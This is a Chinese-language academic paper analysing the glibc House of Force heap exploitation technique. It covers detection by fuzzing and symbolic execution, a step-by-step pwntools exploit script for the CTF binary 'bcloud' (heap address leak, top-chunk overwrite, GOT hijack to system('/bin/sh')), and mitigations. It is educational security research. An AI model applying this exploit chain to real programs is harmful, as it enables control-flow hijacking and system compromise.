二进制程序中House of Force漏洞利用技术分析
2022-12-09王伟兵
王伟兵
(广东警官学院网络信息安全系,广东广州 510230)
0 引言
二进制缓冲区漏洞主要包括栈溢出和堆溢出两种类型。栈溢出漏洞触发后,可通过覆盖保存在栈上的函数返回地址,进而劫持控制流。但是如果缓冲区位于堆上,即使溢出,也无法直接控制程序的执行,仅能通过进一步破坏数据来间接劫持程序的控制流,在分析思路和成功利用的复杂性上都高于栈溢出漏洞[1]。
随着NX(No-eXecute,栈不可执行)、Canary(金丝雀,也称之Stack Cookie)、PIE(Position Independent Executables,位置无关可执行文件)、ASLR(Address Space Layout Randomization,地址空间布局随机化)和栈保护(SSP,Stack Smashing Protector)等缓解机制的开发和成功应用[2],栈溢出漏洞被成功利用变得越来越困难。近年来,二进制程序漏洞的研究开始聚焦于堆漏洞的分析和利用。随着堆的漏洞不断被挖掘出来,相应的利用方法也被开发出来,为了弥补这些漏洞,Glibc也对自身的算法和代码进行了针对性地修补,但是仍然存在漏洞被利用的可能。
2005年,Phantasmal Phantasmagoria发表了一篇文章The Malloc Maleficarum-Glibc Malloc Exploitation Techniques,介绍了利用Glibc堆管理机制中一些漏洞的利用方法,为之后攻击者开发新的利用方法以及Glibc加固自身代码提供了参考。而House of Force就是一种通过攻击top chunk获得目标内存区域控制权的漏洞利用技术。针对House of Force攻击,Linux系统和Glibc提供了漏洞缓解、堆块尺寸检测等防御保护机制,避免程序被劫持控制流。但是,实践证明,在特定情况下,House of Force攻击仍是一种有效的攻击方式。
国内很少有针对House of Force漏洞利用技术进行详细分析的文献,裴中煜等[1]虽然提出了Glibc堆利用的若干方法,但是对House of Force的介绍非常简略,没有给出完整的原理性分析,也没有给出具体的成功利用步骤。潘传幸等[3]提出了面向进程控制流劫持攻击的拟态防御方法,但是没有专门针对House of Force提出防御方法。邵思豪等[4]虽然论述了缓冲区溢出漏洞分析技术研究进展,但是没有涉及House of Force。本文则专门针对House of Force技术进行详细的论述,包括对其技术原理进行了分析,在此基础之上提出针对该技术可利用漏洞的检测方法,包括生成崩溃输入、符号化种子输入、基于符号执行的漏洞检测和生成测试用例等过程,然后通过审计有漏洞的程序代码,发现该程序的漏洞点,并通过House of Force技术编写脚本,实现了漏洞的成功利用,最后指出了对House of Force攻击的防御思路和方法。
1 分析基础
堆(heap)是一种全局的数据结构,用以动态管理系统内存[5]。与堆相对应的是栈,栈也是一种动态的内存结构,但是栈并不是人工分配用以存储数据的,而是由系统自动分配的。和栈相比,堆具有更多的灵活性,典型的区分就是在C语言当中,在函数里面声明的局部变量就是存储在栈空间,是自动分配的,而使用malloc函数分配的内存则位于堆空间,是应用程序向系统“索取”的内存空间。
Linux利用Glibc实现堆的管理。Glibc提供了一些堆管理函数的实现,典型的有malloc、free、realloc等,这些函数通过系统调用(操作系统提供的基础函数,用来和操作系统内核进行交互)来实现其功能,例如brk()或者mmap()等。对于堆内存管理而言,堆块(chunk)是最小的分配和释放单位,堆块在处于使用状态时的如图1所示。其中prev_size表示相邻的前一个堆块(并非指链表中的前一个堆块,而是连续内存中的前一块内存)的大小,单位为字节;size表示本堆块的大小;P标志(PREV_INUSE),用于标识相邻的前一个堆块的状态,等于1时,表示前一个堆块处于使用状态,等于0时表示前一个堆块处于空闲状态;M标志(IS_MAPPED)用于标识一个chunk是否是从mmap()函数中获得,如果应用程序中申请一个相当大的内存,malloc()函数会通过mmap()函数分配一个映射段。
图1 处于使用状态的堆块结构
堆基本上都是从内存低地址空间向高地址空间分配堆块,在每个arena(分配区)中空闲内存的最高地址处一定会存在一块空闲堆块,这个堆块就是top chunk。top chunk的作用是作为堆的后备空间,当用户申请堆块时,如果各空闲堆块组成的链表(bin)中没有空闲堆块可提供时(链表为空,或者链表中空闲堆块不满足新申请堆块尺寸要求),Glibc将会从top chunk中分割出一个堆块提供给用户[5]。此时top chunk的起始地址将会变为切割后剩余空间的起始地址,top chunk的size域会被修改为原size减去新申请堆块的尺寸。也就是说,top chunk的起始地址和size域是随着堆的分配而不断变化的。
2 House of Force攻击分析
House of Force攻击是通过溢出top chunk的size域来欺骗Glibc,使得攻击者在调用函数malloc申请一个超大尺寸堆块时,能够通过top chunk来进行分配。当分配完成时,top chunk的位置会被调整,即在旧位置上加上这个超大整数,造成整数溢出,结果是top chunk被调整到堆之前的内存地址(如.bss段、.data段、GOT表等)。下次再执行malloc函数时,就会分配到这样一个堆块:其数据域指向top chunk被调整之后的地址(目标内存区域地址)。这样,攻击者就能够控制目标内存区域。
攻击思路如下:
(1)攻击者利用程序漏洞(如堆溢出)把top chunk的size域修改成一个大整数(结构体malloc_chunk中size域的类型其实是unsigned int类型,故如果将size域修改为-1,则将被认为是size的最大值0xffffffff);
(2)当用户申请一个超大尺寸的堆块时(略小于0xffffffff),由于bin中没有满足尺寸要求的空闲堆块可以分配,Glibc将从top chunk中进行分配;
(3)分配时,top chunk的起始地址加上申请堆块的尺寸,将造成整数溢出,使得分配完成后,top chunk的起始地址移动到内存空间中的低地址部分(目标内存区域),如.data段、.bss段、GOT表等;
(4)接下来再次分配堆块时,就可以从目标内存空间获得堆块,从而就获得了目标内存区域的控制权。
按照以上过程,House of Force攻击时堆空间的演化过程如图2所示。
需要注意的是,欲控制的目标内存区域一般位于.data段、.bss段、GOT表中,这些内存区域位于内存空间中的低地址部分,而堆空间地址大于这些内存区域地址。为了让top chunk的起始地址调整到目标内存区域中,就必须从top chunk中分配一个足够大的堆块(称之为evil chunk)。这样的话,分配evil chunk之前的top chunk首地址,加上evil chunk的尺寸,就会造成整数溢出,使得计算结果变成小整数,最终使得top chunk移动到内存空间中的低地址部分,即top chunk会在如图2所示的内存空间中移动。
图2 House of Force攻击时堆空间演化过程
如果定义目标内存区域首地址为target_addr,当前top chunk的首地址为top_chunk_addr,evil chunk的尺寸为evil_chunk_size,则有以下公式:
evil_chunk_size=target_addr-top_chunk_addr-4*SIZE_SZ,在32位系统中,SIZE_SZ等于4字节,而在64位系统中,SIZE_SZ等于8字节。
3 House of Force漏洞检测
针对House of Force技术可以攻击的漏洞,检测方法包括生成崩溃输入、符号化种子输入、基于符号执行的漏洞检测和生成测试用例等过程。该方法需要首先通过模糊测试[6],生成可导致目标程序崩溃的二进制输入文件;然后利用符号执行引擎[7],将二进制输入文件标记为符号化的污点数据,作为种子输入,驱动目标程序进行符号执行。在符号执行过程中,所有受符号化输入影响的内存区域将被标记为符号值。这些被标记为符号值的内存区域称为污点区域,对应的数据亦被称为污点数据。通过检查内存的符号化属性,可实现污点数据判断,为构造House of Force攻击所依赖的数据约束创造条件[8]。
从前面攻击分析可知,可以通过House of Force攻击实现控制流劫持的程序存在4个特征:
(1)存在堆溢出漏洞;
(2)能够以溢出的方式控制到top chunk的size域;
(3)能够泄露出top chunk的地址;
(4)能够自由地控制堆分配chunk的大小。
因此定义程序的特征如下:①堆溢出特征(IS_HO),表示程序中存在溢出漏洞,例如off-by-one;②修改top chunk的size域特征(IS_TS),表示程序中存在的溢出漏洞可以被利用来覆盖或修改top_chunk的size域,使之等于一个非常大的大整数;③泄露堆地址特征(IS_HA),表示通过off-by-one漏洞、函数strcpy、函数puts等组合,可以输出top chunk地址。即使不能直接泄露top chunk地址,但是如果能泄露其他chunk的地址,也可以通过计算获知top chunk的地址,这样就可以计算出evil chunk的地址;④自由分配堆块特征(IS_FS),表示程序中可以分配任意尺寸的chunk,这样就可以通过分配大尺寸evil_chunk,使得top chunk调整到目标内存区域。那么下一次成功分配chunk,便可以获得目标内存区域的控制权。
当待检测程序同时存在堆溢出特征、修改top chunk的size域特征、泄露堆地址特征、自由分配堆块特征这4种特征时,就可以断定当前程序存在House of Force可利用的漏洞,此时,攻击者可以使用House of Force技术,通过劫持程序流,从而获得系统控制权。定义House of Force攻击特征为HFH,该变量可通过上述四种特征合取得到,关系式如下所示:
程序运行过程中chunk状态定义如下:
二元组S=(s_addr,s_size),描述符号化区域的特征,s_addr表示符号化区域的起始地址,s_size表示符号化区域的大小。
四元组C=(c_addr,c_size,c_state,header),描述单个chunk在程序动态运行过程中状态的变化:c_addr表示chunk地址(指向堆块的指针);c_size表示chunk数据区域的长度;c_state表示chunk状态(已分配状态还是已释放状态);header=(prev_size,size,fd)描述了本chunk头部header值的变化。
symb_map表示所有符号化区域的集合,allo_chunk表示所有处于分配状态的堆块集合,free_chunk表示所有处于释放状态的堆块集合。
在程序漏洞检测过程中,可使用符号执行和污点分析技术,通过对栈内存的监控以及挂钩strcpy等函数,可以触发堆溢出特征;通过对堆内存的监控,即可获知top chunk的地址和size域,从而触发修改top chunk的size域特征;然后使用符号内存搜索算法,检测off-by-one漏洞、函数strcpy、函数puts等组合,便可触发泄露堆地址特征;通过挂钩malloc函数,监控程序堆块的分配情况,当检测到待分配的chunk的size域可控时,便触发自由分配堆块特征。在上述特征都被触发的情况下,继续从top chunk中分配chunk,导致包含目标内存区域的chunk被分配出来,则可以实现目标地址内容被修改,进而实现控制流劫持。
4 House of Force漏洞利用
4.1 待攻击程序说明
下面以一道CTF比赛题目bcloud为示例程序[9],说明通过House of Force进行漏洞利用的思路和方法。
检查程序安全性,发现RELRO(只读重定向)被设置为Partial模式,Canary(栈的金丝雀保护机制)已开启,NX开启,PIE(地址无关可执行文件)未启用。
利用IDA对可执行程序进行反编译后审计其源代码,发现程序有以下几个问题:
(1)main函数中,在进入while循环之前,首先调用了welcome函数,在welcome函数中,调用了函数input_name和input_org_host;
(2)函数input_name中,先调用函数iread向数组s中写入0x40大小的数据;然后调用函数malloc(0x40)申请内存,得到的chunk大小为0x48(因为是32位程序,chunk的头部prev_size域和size域各占4各字节);接下来调用函数strcpy,把数组s中的数据拷贝到刚刚申请的chunk的用户数据区域;最后调用函数out_name输出chunk数据区域中的数据;
(3)函数iread的功能是向缓存区中逐个读入字符,直到缓冲区填满或碰到结束标志字符(一般是换行符0x0a),最后在末尾增加一个字符串结束字符0x00。这里就存在一个off-by-one漏洞,即当用户输入的字符数大于等于缓存区长度时,字符串结束字符0x00不会出现在缓冲区中,而是出现在缓冲区后面。如果后面的代码用非0x00覆盖掉缓冲区后面的数据,就会造成拷贝或输出该字符串时越界,从而泄露缓冲区后面的信息[10]。栈空间和堆空间的变化如图3所示。
图3 函数input_name执行时内存空间变化
(4)函数input_org_host中,在栈上定义了两个数组和两个指针变量,调用两次函数iread向两个数组分别读入用户输入的两个字符串,并向堆申请了两个chunk,最后调用函数strcpy将两个字符串拷贝到两个堆块的数据域中。
同样的,当用户输入的两个字符串长度均大于等于0x40时,也会触发函数iread中的off-by-one漏洞。具体的栈和堆内存的变化情况如图4所示。
图4 函数input_org_host执行时内存空间变化
(5)在main函数中,调用函数menu,输出菜单,接收用户输入,当用户输入分别为1、2、3、4时,分别调用函数new_note、show_note、edit_note、delete_note。
函数new_note的功能是根据用户输入的note尺寸申请chunk,然后向chunk的data域输入note的内容。chunk的data域起始地址被存储到全局数组ptr_array中,用户输入的note尺寸被存放到全局数组size_array中。
函数edit_note的功能是先从全局数组ptr_array和ptr_size中取出note的地址和大小,然后调用函数iread重新获取用户输入并写入chunk的数据区域。
函数delete_note的功能是先从全局数组ptr_array中取出note的地址,释放chunk,然后将全局数组ptr_array和ptr_size中相应元素置0。
其余的几个函数功能很简单,不再赘述。
4.2 利用过程
4.2.1 获得目标内存区域控制权
(1)获取堆块地址
在函数input_name执行时,输入0x40个字母A,触发off-by-one漏洞,泄露chunk1数据域起始地址。为此,编写脚本如下:
…
io.sendafter("Input your name: ",'A'*0x40)
io.recvuntil('a'*0x40)
chunk1_data_addr=u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x'% chunk1_data_addr)
(2)覆盖top chunk的size域
执行函数get_org_host,输入0x40个字母X和0x40个字母Y,触发函数iread中的off-by-one漏洞,覆盖top chunk的size域,将其修改为0xffffffff(-1)。增加脚本代码如下:
…
io.sendafter("Org: ",'X'*0x40)
io.sendafter("Host: ",p32(0xffffffff)+(0x40-4)*b'Y')
io.recvuntil("OKay!Enjoy:) ")
(3)利用House of Force漏洞,调整top chunk的数据域到ptr_array
第1步中分配的chunk数据域的起始地址为chunk1_data_addr,数据域长度为0x40,而第2步中分配的两个chunk的尺寸之和为(0x08+0x40)*2=0x90,其中0x08为堆块头部的长度(prev_size+size)。所以此时top chunk的起始地址top_chunk_addr=chunk1_data_addr+0x40+0x90=chunk1_data_addr+0xC0。
为了使新的top chunk的数据域起始地址指向数组ptr_array,此时必须分配一个大尺寸堆块,命名为evil chunk,其数据域长度等于ptr_array-top_chunk_addr-16。
调用new_note,新建note0,即分配evil chunk,其数据域起始地址存放于ptr_array[0]中。注意,源代码中,由于调用malloc(size+4)分配chunk,即输入的size必须小于evil chunk数域尺寸4个字节。增加脚本代码如下:
…
io.sendafter("Org: ",'X'*0x40)
io.sendafter("Host: ",p32(0xffffffff)+(0x40-4)*b'Y')
io.recvuntil("OKay!Enjoy:) ")
top_chunk_addr=chunk1_data_addr+0xd0
evil_data_size=ptr_array-top_chunk_addr-16
new_note(evil_data_size-4,"")
(4)从ptr_array连续分配4个chunk
调用new_note,连续创建4个尺寸为0x40的note:note1、note2、note3、note4,即分配chunk A、chunk B、chunk C、chunk D,尺寸均为0x44个字节。这4个chunk的数据域首地址分别存放于ptr_array[1-4]中。
这样的话,chunkA的数据区域就是数组ptr_array的存储区域。此时,如果编辑note1(chunk A的数据区域),就能直接修改ptr_array数组中保存的所有chunk的数据域起始地址。
增加脚本代码如下:
…
new_note(0x40,'AA') #1
new_note(0x40,'BB') #2
new_note(0x40,'CC') #3
new_note(0x40,'DD') #4
4.2.2 getshell
(1)泄露库函数printf的加载地址
调用edit_note,编辑note1,将ptr_array[2]设置为free@got,将ptr_array[3]设置为printf@got。
调用edit_note,编辑note2,将ptr_array[2]中保存的地址(free@got)指向的内容修改为puts@plt,也就是将free@got中保存的库函数地址修改为puts@plt的地址。此后,如果调用函数free,实际上调用的是函数puts。
调用delete_note,删除note3,即调用函数free(ptr_array[3]),实际上调用的是puts(printf@got),即可泄露出库函数printf已加载的地址。
增加脚本代码如下:
…
edit_note(1,p32(0)+p32(0x804b120)+p32
(free_got)+p32(printf_got))
edit_note(2,p32(puts_plt))
del_note(3)
msg=io.recvuntil("Delete success. ")
printf_addr=u32(msg[:4])
log.info('printf_addr:0x%x'% printf_addr)
(2)计算库函数system的加载地址
从已经获知的库函数printf加载地址,减去库函数printf的库内偏移地址(从libc.so中可以查到),就是libc的加载地址,然后加上库函数system的库内偏移地址(从libc.so中可以查到),就是库函数system的加载地址[11]。
增加脚本代码如下:
…
libc_addr=printf_addr-libc.symbols["printf"]
system_addr=libc_addr+libc.symbols["system"]
log.info('system_addr:0x%x'% system_addr)
(3)执行函数system
调用edit_note,编辑note1(即编辑chunk A,也就是编辑数组ptr_array的存储区域),将ptr_array[0]设置为ptr_array[4]的地址(0x804b130),ptr_array[2]设置为free@got,并从ptr_array[4]开始写入字符串“/bin/sh”。
调用edit_note,编辑note2,将free@got指向的内容修改为库函数system的加载地址。
调用delete_note,释放note0,即调用函数free(ptr_array[0]),实际上是调用函数system(“/bin/sh”),即可getshell。
增加脚本代码如下:
…
edit_note(1,p32(0x804b130)+p32(0)+p32
(free_got)+p32(0) +b'/bin/sh')
edit_note(2,p32(system_addr))
del_note(0)
io.interactive()
5 结语
House of Force是一种堆溢出的利用方法,当然能够通过House of Force进行利用的不只是堆溢出漏洞。如果一个堆漏洞想要通过House of Force方法进行利用,需要两个条件:①用户能够以溢出等方式控制到top chunk的size;②用户能够自由地控制堆分配尺寸的大小。House of Force产生的根本原因在于Glibc对top chunk的处理,即Glibc在进行堆分配时,会从top chunk中分割出相应的大小作为堆块的空间,因此top chunk的位置会发生上下浮动以适应堆内存分配和释放。
针对House of Force攻击,Linux系统和Glibc提供了漏洞缓解、堆块尺寸检测等防御保护机制,避免程序被劫持控制流。但是,实践证明,在特定情况下,House of Force攻击仍是一种有效的攻击方式。如果应用程序设计不当,便可能触发House of Force漏洞,危害十分巨大。
另外,对于House of Force的攻击的防御,可以从Glibc的堆分配机制考虑,如,限定堆块分配后top chunk首地址不能小于分配之前的首地址,这样就可以避免top chunk的首地址转移到.bss段、.data段和GOT表等区域。当然最根本的办法,还是要求程序员在开发程序时,避免出现堆和栈溢出等漏洞,以避免攻击者篡改top chunk的size域以及泄露top chunk的首地址。